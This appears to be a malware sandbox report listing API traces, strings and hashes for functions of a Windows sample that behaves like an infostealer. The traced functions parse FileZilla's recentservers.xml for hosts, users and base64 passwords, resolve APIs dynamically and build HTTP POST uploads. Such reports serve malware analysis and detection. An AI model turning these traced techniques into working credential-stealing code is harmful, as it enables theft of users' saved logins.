Associated: 00000000.00000002.2743542604.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vMRlWtVCEN.jbxd

Yara matches

Similarity

API ID: Heap$AllocInformationProcessTimeZonewsprintf
String ID:
API String ID: 362916592-0
Opcode ID: ef2e8192f2772f232fc7e7fcc2eea8e627b037badb6437208f4d82c9303bd787
Instruction ID: b2a27aae97358dcb217157a2278e60ef806da717b76b9d8dbc6f71207b10123d
Opcode Fuzzy Hash: ef2e8192f2772f232fc7e7fcc2eea8e627b037badb6437208f4d82c9303bd787
Instruction Fuzzy Hash: C011A1B1E0A228EBEB208B54DC45FA9BB79FB45711F1003D6F619932D0E7785A808B95

Function 004179E0 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417A10
HeapAlloc.KERNEL32(00000000,?,?,?,004011B7), ref: 00417A17
GetUserNameA.ADVAPI32(00000104,00000104), ref: 00417A2F

Memory Dump Source

Source File: 00000000.00000002.2743542604.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2743542604.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vMRlWtVCEN.jbxd

Yara matches

Similarity

API ID: Heap$AllocNameProcessUser
String ID:
API String ID: 1206570057-0
Opcode ID: 7e9e81e1a1689cb1da455be5f83933a8c8cca94e355bd3ccc2ffb479564026f7
Instruction ID: 9b82aaaa51ecd1631f431d3f1c3dae0ecd6dc6cababe86b84151973db8bb3773
Opcode Fuzzy Hash: 7e9e81e1a1689cb1da455be5f83933a8c8cca94e355bd3ccc2ffb479564026f7
Instruction Fuzzy Hash: 80F04FB1D49249EBC700DF98DD45BAEBBB8EB45711F10021BF615A2680D7755640CBA1

Function 00418060 Relevance: 3.0, APIs: 2, Instructions: 34COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(00420E14), ref: 00418090
wsprintfA.USER32 ref: 004180A6

Memory Dump Source

Source File: 00000000.00000002.2743542604.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2743542604.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vMRlWtVCEN.jbxd

Yara matches

Similarity

API ID: InfoSystemwsprintf
String ID:
API String ID: 2452939696-0
Opcode ID: 49ec3605ab8d8b87b8f4a2bcd41593a6bcb02f439a1b20a0ae29a7c341f305be
Instruction ID: 08512fc152d1616d0ad9ea22e4a9698bc695f8d0908738fe214e90ce4e812d63
Opcode Fuzzy Hash: 49ec3605ab8d8b87b8f4a2bcd41593a6bcb02f439a1b20a0ae29a7c341f305be
Instruction Fuzzy Hash: 67F06DB1E04218ABCB10CB84EC45FEAFBBDFB48B14F50066AF51592280E7796904CAE5

Function 00407770 Relevance: 81.6, APIs: 54, Instructions: 584
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000000,0098967F,?,00416414,?), ref: 00407784
RtlAllocateHeap.NTDLL(00000000,?,00416414,?), ref: 0040778B
lstrcatA.KERNEL32(?,02EE2548,?,000003E8,?,000003E8,?,000003E8,?,000003E8,?,000003E8,?,000003E8,?,000003E8), ref: 0040793B
lstrcatA.KERNEL32(?,?,?,00416414,?), ref: 0040794F
lstrcatA.KERNEL32(?,?,?,00416414,?), ref: 00407963
lstrcatA.KERNEL32(?,?,?,00416414,?), ref: 00407977
lstrcatA.KERNEL32(?,02EE5768,?,00416414,?), ref: 0040798B
lstrcatA.KERNEL32(?,02EE56C0,?,00416414,?), ref: 0040799F
lstrcatA.KERNEL32(?,02EE5798,?,00416414,?), ref: 004079B2
lstrcatA.KERNEL32(?,02EE57B0,?,00416414,?), ref: 004079C6
lstrcatA.KERNEL32(?,02EE60A0,?,00416414,?), ref: 004079DA
lstrcatA.KERNEL32(?,?,?,00416414,?), ref: 004079EE
lstrcatA.KERNEL32(?,?,?,00416414,?), ref: 00407A02
lstrcatA.KERNEL32(?,?,?,00416414,?), ref: 00407A16
lstrcatA.KERNEL32(?,02EE5768,?,00416414,?), ref: 00407A29
lstrcatA.KERNEL32(?,02EE56C0,?,00416414,?), ref: 00407A3D
lstrcatA.KERNEL32(?,02EE5798,?,00416414,?), ref: 00407A51
lstrcatA.KERNEL32(?,02EE57B0,?,00416414,?), ref: 00407A64
lstrcatA.KERNEL32(?,02EE6108,?,00416414,?), ref: 00407A78
lstrcatA.KERNEL32(?,?,?,00416414,?), ref: 00407A8C
lstrcatA.KERNEL32(?,?,?,00416414,?), ref: 00407AA0
lstrcatA.KERNEL32(?,?,?,00416414,?), ref: 00407AB4
lstrcatA.KERNEL32(?,02EE5768,?,00416414,?), ref: 00407AC8
lstrcatA.KERNEL32(?,02EE56C0,?,00416414,?), ref: 00407ADB
lstrcatA.KERNEL32(?,02EE5798,?,00416414,?), ref: 00407AEF
lstrcatA.KERNEL32(?,02EE57B0,?,00416414,?), ref: 00407B03
lstrcatA.KERNEL32(?,02EE6170,?,00416414,?), ref: 00407B16
lstrcatA.KERNEL32(?,?,?,00416414,?), ref: 00407B2A
lstrcatA.KERNEL32(?,?,?,00416414,?), ref: 00407B3E
lstrcatA.KERNEL32(?,?,?,00416414,?), ref: 00407B52
lstrcatA.KERNEL32(?,02EE5768,?,00416414,?), ref: 00407B66
lstrcatA.KERNEL32(?,02EE56C0,?,00416414,?), ref: 00407B7A
lstrcatA.KERNEL32(?,02EE5798,?,00416414,?), ref: 00407B8D
lstrcatA.KERNEL32(?,02EE57B0,?,00416414,?), ref: 00407BA1
lstrcatA.KERNEL32(?,02EE61D8,?,00416414,?), ref: 00407BB5
lstrcatA.KERNEL32(?,?,?,00416414,?), ref: 00407BC9
lstrcatA.KERNEL32(?,?,?,00416414,?), ref: 00407BDD
lstrcatA.KERNEL32(?,?,?,00416414,?), ref: 00407BF1
lstrcatA.KERNEL32(?,02EE5768,?,00416414,?), ref: 00407C04
lstrcatA.KERNEL32(?,02EE56C0,?,00416414,?), ref: 00407C18
lstrcatA.KERNEL32(?,02EE5798,?,00416414,?), ref: 00407C2C
lstrcatA.KERNEL32(?,02EE57B0,?,00416414,?), ref: 00407C3F
lstrcatA.KERNEL32(?,02EE6240,?,00416414,?), ref: 00407C53
lstrcatA.KERNEL32(?,?,?,00416414,?), ref: 00407C67
lstrcatA.KERNEL32(?,?,?,00416414,?), ref: 00407C7B
lstrcatA.KERNEL32(?,?,?,00416414,?), ref: 00407C8F
lstrcatA.KERNEL32(?,02EE5768,?,00416414,?), ref: 00407CA3
lstrcatA.KERNEL32(?,02EE56C0,?,00416414,?), ref: 00407CB6
lstrcatA.KERNEL32(?,02EE5798,?,00416414,?), ref: 00407CCA
lstrcatA.KERNEL32(?,02EE57B0,?,00416414,?), ref: 00407CDE

Part of subcall function 00407630: lstrcatA.KERNEL32(2977F020,0042192C,00407CF0,80000001,00416414,?,?,?,?,?,00407CF0,?,?,00416414), ref: 00407666
Part of subcall function 00407630: lstrcatA.KERNEL32(2977F020,00000000,00000000), ref: 004076A8
Part of subcall function 00407630: lstrcatA.KERNEL32(2977F020, : ), ref: 004076BA
Part of subcall function 00407630: lstrcatA.KERNEL32(2977F020,00000000,00000000,00000000), ref: 004076EF
Part of subcall function 00407630: lstrcatA.KERNEL32(2977F020,00421934), ref: 00407700
Part of subcall function 00407630: lstrcatA.KERNEL32(2977F020,00000000,00000000,00000000), ref: 00407733
Part of subcall function 00407630: lstrcatA.KERNEL32(2977F020,00421938), ref: 0040774D
Part of subcall function 00407630: task.LIBCPMTD ref: 0040775B

lstrcatA.KERNEL32(?,02EDF980,?,00000104), ref: 00407E6B
lstrcatA.KERNEL32(?,02EE5F48), ref: 00407E7E
lstrlenA.KERNEL32(2977F020), ref: 00407E8B
lstrlenA.KERNEL32(2977F020), ref: 00407E9B

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Memory Dump Source

Source File: 00000000.00000002.2743542604.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2743542604.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vMRlWtVCEN.jbxd

Yara matches

Similarity

API ID: lstrcat$Heaplstrlen$AllocateProcesslstrcpytask
String ID:
API String ID: 928082926-0
Opcode ID: 24a6ca59d8a0adc4477e6d15f78518d49f33a6da8cc5e85e890d4912c65980fb
Instruction ID: 0e0c3d68e69f6296a9396c1eab42491480c8bc0a3d7b858fcfddc2671413b035
Opcode Fuzzy Hash: 24a6ca59d8a0adc4477e6d15f78518d49f33a6da8cc5e85e890d4912c65980fb
Instruction Fuzzy Hash: E83264B6D04254ABCB14EB60DC95DDE733EAB48315F004A9EF209A2090EE79F789CF55

Function 004103B0 Relevance: 73.9, APIs: 32, Strings: 10, Instructions: 363
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 00418F70: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418F9B

Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0041AAF6

Part of subcall function 0040A110: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0040A13C
Part of subcall function 0040A110: GetFileSizeEx.KERNEL32(000000FF,?), ref: 0040A161
Part of subcall function 0040A110: LocalAlloc.KERNEL32(00000040,?), ref: 0040A181
Part of subcall function 0040A110: ReadFile.KERNEL32(000000FF,?,00000000,00410447,00000000), ref: 0040A1AA
Part of subcall function 0040A110: LocalFree.KERNEL32(00410447), ref: 0040A1E0
Part of subcall function 0040A110: CloseHandle.KERNEL32(000000FF), ref: 0040A1EA

Part of subcall function 00418FC0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00418FE2

strtok_s.MSVCRT ref: 0041047B
GetProcessHeap.KERNEL32(00000000,000F423F,00420DBF,00420DBE,00420DBB,00420DBA), ref: 004104C2
HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420DB7), ref: 004104C9
StrStrA.SHLWAPI(00000000,<Host>), ref: 004104E5
lstrlenA.KERNEL32(00000000), ref: 004104F3

Part of subcall function 00418A70: malloc.MSVCRT ref: 00418A78
Part of subcall function 00418A70: strncpy.MSVCRT ref: 00418A93

StrStrA.SHLWAPI(00000000,<Port>), ref: 0041052F
lstrlenA.KERNEL32(00000000), ref: 0041053D
StrStrA.SHLWAPI(00000000,<User>), ref: 00410579
lstrlenA.KERNEL32(00000000), ref: 00410587
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 004105C3
lstrlenA.KERNEL32(00000000), ref: 004105D5
lstrlenA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420DB7), ref: 00410662
lstrlenA.KERNEL32(00000000,?,?,00000000), ref: 0041067A
lstrlenA.KERNEL32(00000000,?,?,00000000), ref: 00410692
lstrlenA.KERNEL32(00000000,?,?,00000000), ref: 004106AA
lstrcatA.KERNEL32(?,browser: FileZilla,?,?,00000000), ref: 004106C2
lstrcatA.KERNEL32(?,profile: null,?,?,00000000), ref: 004106D1
lstrcatA.KERNEL32(?,url: ,?,?,00000000), ref: 004106E0
lstrcatA.KERNEL32(?,00000000,?,?,00000000), ref: 004106F3
lstrcatA.KERNEL32(?,00421770,?,?,00000000), ref: 00410702
lstrcatA.KERNEL32(?,00000000,?,?,00000000), ref: 00410715
lstrcatA.KERNEL32(?,00421774,?,?,00000000), ref: 00410724
lstrcatA.KERNEL32(?,login: ,?,?,00000000), ref: 00410733
lstrcatA.KERNEL32(?,00000000,?,?,00000000), ref: 00410746
lstrcatA.KERNEL32(?,00421780,?,?,00000000), ref: 00410755
lstrcatA.KERNEL32(?,password: ,?,?,00000000), ref: 00410764
lstrcatA.KERNEL32(?,00000000,?,?,00000000), ref: 00410777
lstrcatA.KERNEL32(?,00421790,?,?,00000000), ref: 00410786
lstrcatA.KERNEL32(?,00421794,?,?,00000000), ref: 00410795
strtok_s.MSVCRT ref: 004107D9
lstrlenA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420DB7), ref: 004107EE
memset.MSVCRT ref: 0041083D

Strings

login: , xrefs: 0041072A
<Port>, xrefs: 00410526
<User>, xrefs: 00410570
<Pass encoding="base64">, xrefs: 004105BA
password: , xrefs: 0041075B
browser: FileZilla, xrefs: 004106B9
profile: null, xrefs: 004106C8
url: , xrefs: 004106D7
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 00410404
<Host>, xrefs: 004104DC

Memory Dump Source

Source File: 00000000.00000002.2743542604.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2743542604.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vMRlWtVCEN.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$AllocFileLocal$Heapstrtok_s$CloseCreateFolderFreeHandlePathProcessReadSizemallocmemsetstrncpy
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 337689325-555421843
Opcode ID: 477a1c65e9bd440f08a4856a641cb55c206700ecaa439dcda417b94db5e3656f
Instruction ID: 8daa67574ba642934e37c5269d194fb48a2cec37eebf9d0dac7d381e96a5dd97
Opcode Fuzzy Hash: 477a1c65e9bd440f08a4856a641cb55c206700ecaa439dcda417b94db5e3656f
Instruction Fuzzy Hash: 65D17271E01108ABCB04EBF0ED56EEE7339AF54315F50855AF102B7095EF38AA94CB69

Function 00419BB0 Relevance: 61.5, APIs: 33, Strings: 2, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(76210000,02E68E48), ref: 00419BF1
GetProcAddress.KERNEL32(76210000,02E68E30), ref: 00419C0A
GetProcAddress.KERNEL32(76210000,02E68DB8), ref: 00419C22
GetProcAddress.KERNEL32(76210000,02E68DD0), ref: 00419C3A
GetProcAddress.KERNEL32(76210000,02E68DE8), ref: 00419C53
GetProcAddress.KERNEL32(76210000,02E63518), ref: 00419C6B
GetProcAddress.KERNEL32(76210000,02E662C0), ref: 00419C83
GetProcAddress.KERNEL32(76210000,02E662A0), ref: 00419C9C
GetProcAddress.KERNEL32(76210000,02E68E60), ref: 00419CB4
GetProcAddress.KERNEL32(76210000,02E68E00), ref: 00419CCC
GetProcAddress.KERNEL32(76210000,02E68E18), ref: 00419CE5
GetProcAddress.KERNEL32(76210000,02EDF450), ref: 00419CFD
GetProcAddress.KERNEL32(76210000,02E66400), ref: 00419D15
GetProcAddress.KERNEL32(76210000,02EDF660), ref: 00419D2E
GetProcAddress.KERNEL32(76210000,02EDF570), ref: 00419D46
GetProcAddress.KERNEL32(76210000,02E662E0), ref: 00419D5E
GetProcAddress.KERNEL32(76210000,02EDF600), ref: 00419D77
GetProcAddress.KERNEL32(76210000,02EDF498), ref: 00419D8F
GetProcAddress.KERNEL32(76210000,02E663C0), ref: 00419DA7
GetProcAddress.KERNEL32(76210000,02EDF4E0), ref: 00419DC0
GetProcAddress.KERNEL32(76210000,02E66240), ref: 00419DD8
LoadLibraryA.KERNEL32(02EDF6D8,?,00416CA0), ref: 00419DEA
LoadLibraryA.KERNEL32(02EDF468,?,00416CA0), ref: 00419DFB
LoadLibraryA.KERNEL32(02EDF678,?,00416CA0), ref: 00419E0D
LoadLibraryA.KERNEL32(02EDF648,?,00416CA0), ref: 00419E1F
LoadLibraryA.KERNEL32(02EDF4C8,?,00416CA0), ref: 00419E30
GetProcAddress.KERNEL32(75B30000,02EDF408), ref: 00419E52
GetProcAddress.KERNEL32(751E0000,02EDF690), ref: 00419E73
GetProcAddress.KERNEL32(751E0000,02EDF4F8), ref: 00419E8B
GetProcAddress.KERNEL32(76910000,02EDF558), ref: 00419EAD
GetProcAddress.KERNEL32(75670000,02E664A0), ref: 00419ECE
GetProcAddress.KERNEL32(77310000,02E63528), ref: 00419EEF
GetProcAddress.KERNEL32(77310000,NtQueryInformationProcess), ref: 00419F06

Strings

Fs, xrefs: 00419E91
NtQueryInformationProcess, xrefs: 00419EFA

Memory Dump Source

Source File: 00000000.00000002.2743542604.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2743542604.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vMRlWtVCEN.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: Fs$NtQueryInformationProcess
API String ID: 2238633743-1241331114
Opcode ID: edf66d35e3c25c46ff42be0291b8a279c2bd212ca972e11257e66bc224b5ba57
Instruction ID: 85c76ffc39373860cb8090e471c59d53cf6ad49422061259caa86ebb7f60cad9
Opcode Fuzzy Hash: edf66d35e3c25c46ff42be0291b8a279c2bd212ca972e11257e66bc224b5ba57
Instruction Fuzzy Hash: 4DA16FB5D0A2549FC344DFA8FC889567BBBA74D301708A61BF909C3674E734AA40CF62

Function 00405150 Relevance: 53.1, APIs: 22, Strings: 8, Instructions: 569
stringnetworkmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0041AAF6

Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 0040483A
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404851
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404868
Part of subcall function 00404800: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404889
Part of subcall function 00404800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404899

lstrlenA.KERNEL32(00000000), ref: 004051E3

Part of subcall function 00419030: CryptBinaryToStringA.CRYPT32(00000000,004051D4,40000001,00000000,00000000,?,004051D4), ref: 00419050

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00405257
StrCmpCA.SHLWAPI(?,02EE6F60), ref: 00405275
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00405390
HttpOpenRequestA.WININET(00000000,02EE70C0,?,02EE64E8,00000000,00000000,00400100,00000000), ref: 004053F4

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

lstrlenA.KERNEL32(00000000,00000000,?,",00000000,?,02EE6F40,00000000,?,02EE2380,00000000,?,00421B0C,00000000,?,0041541F), ref: 00405787
lstrlenA.KERNEL32(00000000), ref: 0040579B
GetProcessHeap.KERNEL32(00000000,?), ref: 004057AC
HeapAlloc.KERNEL32(00000000), ref: 004057B3
lstrlenA.KERNEL32(00000000), ref: 004057C8
memcpy.MSVCRT(?,00000000,00000000), ref: 004057DF
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 004057F9
memcpy.MSVCRT(?), ref: 00405806
lstrlenA.KERNEL32(00000000), ref: 00405818
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 00405831
memcpy.MSVCRT(?), ref: 00405841
lstrlenA.KERNEL32(00000000,?,?), ref: 0040585E
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00405872
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0040589D
InternetCloseHandle.WININET(00000000), ref: 00405901
InternetCloseHandle.WININET(00000000), ref: 0040590E
InternetCloseHandle.WININET(00000000), ref: 00405918

Strings

------, xrefs: 004052E7
", xrefs: 00405756
", xrefs: 004054D2
------, xrefs: 0040568B
------, xrefs: 00405549
", xrefs: 00405614
------, xrefs: 00405407
--, xrefs: 004052D0

Memory Dump Source

Source File: 00000000.00000002.2743542604.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2743542604.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vMRlWtVCEN.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$??2@CloseHandlememcpy$HeapHttpOpenRequestlstrcat$AllocBinaryConnectCrackCryptFileProcessReadSendString
String ID: ------$"$"$"$--$------$------$------
API String ID: 2744873387-2774362122
Opcode ID: e4f2428928e736ed9cc6de2de5eb0b4d2b59ae491e0c9bb33dfe3b594fcfdfed
Instruction ID: 17d44de56e64bdd087ca749706e31b97a9426ac18b0a434e790be536538602ee
Opcode Fuzzy Hash: e4f2428928e736ed9cc6de2de5eb0b4d2b59ae491e0c9bb33dfe3b594fcfdfed
Instruction Fuzzy Hash: 34321071A22118ABCB14EBA1DC65FEE7379BF54714F00419EF10662092EF387A98CF59

Function 004059B0 Relevance: 46.0, APIs: 19, Strings: 7, Instructions: 493
networkstringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

